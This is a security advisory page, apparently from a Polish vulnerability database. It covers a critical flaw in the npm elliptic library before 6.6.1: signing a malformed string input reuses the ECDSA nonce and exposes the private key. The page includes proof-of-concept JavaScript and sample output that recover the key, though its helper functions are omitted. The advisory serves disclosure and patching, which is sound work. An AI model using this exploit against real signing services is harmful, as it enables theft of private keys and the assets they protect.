Krytyczna

Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)

  • Ujawniono: 12.02.2025
  • Aktualizacja: 11.10.2026 10:22

Summary

Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input

Note that elliptic by design accepts hex strings as one of the possible input types

Details

In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107

msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.

Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures

Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction

While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key

Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain

PoC

k reuse example

js
import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })

Full attack

This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)

js
import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)

// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)

// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)

const something = extract(msg0, sig0, sig1, curve)

console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)

Output:

bash
Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a

Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:

bash
Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6

restored is equal to orig mod N.

Impact

Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm elliptic < 6.6.1 6.6.1

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
Słabość (CWE)
CWE-200
Platforma
npm
Paczka
elliptic
Ujawniono
12.02.2025
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-vjh7-7g9h-fjfh - CC BY 4.0

Historia podatności: elliptic

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (9) w archiwum
Wszystkich wpisów
9
Pierwsza → ostatnia
07.2020 01.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 1
  • Średnia 1
  • Niska 6

Ujawnienia w latach

  1. 2020: 1
  2. 2021: 1
  3. 2022: 0
  4. 2023: 0
  5. 2024: 5
  6. 2025: 1
  7. 2026: 1
Istotność:
  1. Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string) ten wpis
    Krytyczna ghsa-vjh7-7g9h-fjfh < 6.6.1 6.6.1
  2. Wysoka · 7.7 CVE-2020-13822 < 6.5.3 6.5.3

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.